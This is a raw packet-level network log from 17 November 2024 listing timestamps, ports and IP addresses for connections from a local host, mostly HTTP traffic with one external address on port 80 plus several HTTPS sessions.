Nov 17, 2024 10:07:40.859509945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859512091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859522104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859529972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859560966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859560966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859580040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859591961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859618902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859637022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859721899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859733105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859757900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859759092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859777927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859781981 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859805107 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859807968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859817028 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.859817982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859821081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859839916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859863043 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859915018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859926939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859937906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859947920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859960079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859961033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859972000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859972000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859983921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859997034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860006094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860009909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860021114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860035896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860053062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860071898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860450983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860563040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860573053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860584974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860596895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860605955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860642910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860644102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860656977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860668898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860678911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860686064 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860691071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860718012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860729933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860744953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860754967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860766888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860778093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860786915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860793114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860800982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860811949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860816956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860824108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860867023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860889912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860902071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860912085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860923052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860934019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860937119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860948086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860958099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860976934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860987902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.860987902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.860995054 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.860996962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861001015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861002922 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.861011982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861021996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861032963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861046076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861052036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861061096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861072063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861078978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861083031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861093044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861099958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861109972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861114025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861125946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861136913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861136913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861149073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861159086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861160040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861171961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861176968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861181021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861192942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861206055 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861221075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861232042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861233950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861248016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861254930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861259937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861272097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861279011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861283064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861294031 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861298084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861310005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861325026 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861335993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861362934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861388922 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.861603975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861644030 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861659050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861702919 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861723900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861736059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861747026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861758947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861763000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861773968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861795902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861860991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861872911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861885071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861895084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861900091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861907959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861920118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861927986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861953020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.861957073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861969948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861979961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861989975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.861993074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862001896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862023115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862046957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862097979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862108946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862119913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862131119 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862143040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862145901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862154961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862162113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862166882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862179995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862185955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862194061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862205982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862216949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862217903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862230062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862257957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862260103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862281084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862291098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862301111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862313032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862320900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862330914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862341881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862353086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862364054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862364054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862364054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862371922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862376928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862385035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862386942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862397909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862409115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862415075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862421036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862432003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862435102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862446070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862461090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862478971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862478971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862517118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862539053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862550020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862560034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862571001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862581968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862586021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862600088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862601042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862613916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862624884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862627029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862637043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862648964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862660885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862667084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862667084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862673044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862684965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862713099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862739086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862790108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862821102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862828016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862832069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862859011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862874985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.862888098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862899065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.862936974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.863130093 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.863238096 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.863328934 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.903333902 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.916110992 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:40.916142941 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:40.916244984 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:40.919064045 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:40.919083118 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:40.945094109 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.945275068 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.945337057 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.948887110 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.948887110 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.948918104 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.949031115 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.963392019 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.963624954 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.963643074 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.964003086 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.964312077 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.964404106 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.964463949 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.965116978 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.965754986 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.965768099 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.966111898 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.966636896 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.966702938 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.966733932 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.972112894 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.972448111 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.972459078 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.973575115 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.973736048 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.974124908 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:40.974189997 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:40.974328995 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.003492117 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.003560066 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.003567934 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.003742933 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.004087925 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.005815983 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.005867958 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.005928993 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.006573915 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.006594896 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.007350922 CET	443	49958	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.009105921 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.009133101 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.009212971 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.009511948 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.009533882 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.011329889 CET	443	49960	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.015336990 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.030983925 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.030999899 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.031443119 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.031464100 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.031563044 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.032469988 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.032480955 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.051326990 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.052787066 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.052820921 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.053239107 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.054008961 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.054090977 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.054410934 CET	49952	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:41.056586981 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.056960106 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.056982040 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.058530092 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.058604002 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.059180021 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.059278011 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.059288979 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.059299946 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.059771061 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.059781075 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.060847998 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.060919046 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.061280966 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.061342001 CET	49954	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.061346054 CET	443	49954	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.062386036 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.062602997 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.062633991 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.064114094 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.064389944 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.064402103 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.064663887 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.064771891 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.064827919 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.064836979 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.065180063 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.065227985 CET	49953	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.065248013 CET	443	49953	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.065764904 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.065928936 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.065984964 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.066037893 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.068871021 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.068932056 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.069209099 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.069312096 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.070156097 CET	49956	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.070162058 CET	443	49956	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.070317030 CET	49955	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.070327044 CET	443	49955	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.080672979 CET	49958	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.080888987 CET	49961	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.080913067 CET	443	49961	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:41.091949940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.096832037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.096863985 CET	49960	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:41.099351883 CET	443	49952	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:41.103334904 CET	443	49957	13.107.246.57	192.168.2.6
